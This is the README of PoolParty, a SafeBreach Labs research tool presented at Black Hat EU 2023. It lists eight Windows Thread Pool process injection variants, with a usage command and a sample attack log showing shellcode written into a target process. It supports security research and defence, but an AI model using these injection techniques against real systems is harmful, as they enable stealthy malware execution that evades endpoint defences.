PoolParty: A set of fully-undetectable process injection techniques
PoolParty
A collection of fully-undetectable process injection techniques abusing Windows Thread Pools. Presented at Black Hat EU 2023 Briefings under the title – The Pool Party You Will Never Forget: New Process Injection Techniques Using Windows Thread Pools
PoolParty Variants
| Variant ID | Varient Description |
|---|---|
| 1 | Overwrite the start routine of the target worker factory |
| 2 | Insert TP_WORK work item to the target process’s thread pool |
| 3 | Insert TP_WAIT work item to the target process’s thread pool |
| 4 | Insert TP_IO work item to the target process’s thread pool |
| 5 | Insert TP_ALPC work item to the target process’s thread pool |
| 6 | Insert TP_JOB work item to the target process’s thread pool |
| 7 | Insert TP_DIRECT work item to the target process’s thread pool |
| 8 | Insert TP_TIMER work item to the target process’s thread pool |
Default Shellcode and Customization
The default shellcode spawns a calculator via the WinExec API.
To customize the executable to execute, change the path at the end of the g_Shellcode variable present in the main.cpp file.
Use
PoolParty.exe -V <VARIANT ID> -P <TARGET PID>
Example
Insert TP_TIMER work item to process ID 1234
>> PoolParty.exe -V 8 -P 1234
[info] Starting PoolParty attack against process id: 1234
[info] Retrieved handle to the target process: 00000000000000B8
[info] Hijacked worker factory handle from the target process: 0000000000000058
[info] Hijacked timer queue handle from the target process: 0000000000000054
[info] Allocated shellcode memory in the target process: 00000281DBEF0000
[info] Written shellcode to the target process
[info] Retrieved target worker factory basic information
[info] Created TP_TIMER structure associated with the shellcode
[info] Allocated TP_TIMER memory in the target process: 00000281DBF00000
[info] Written the specially crafted TP_TIMER structure to the target process
[info] Modified the target process’s TP_POOL tiemr queue list entry to point to the specially crafted TP_TIMER
[info] Set the timer queue to expire to trigger the dequeueing TppTimerQueueExpiration
[info] PoolParty attack completed successfully
Also, you can try the PoolParty BOF project which is a beacon object file implementation of these injection techniques.
Download
Copyright (c) 2023, SafeBreach Labs
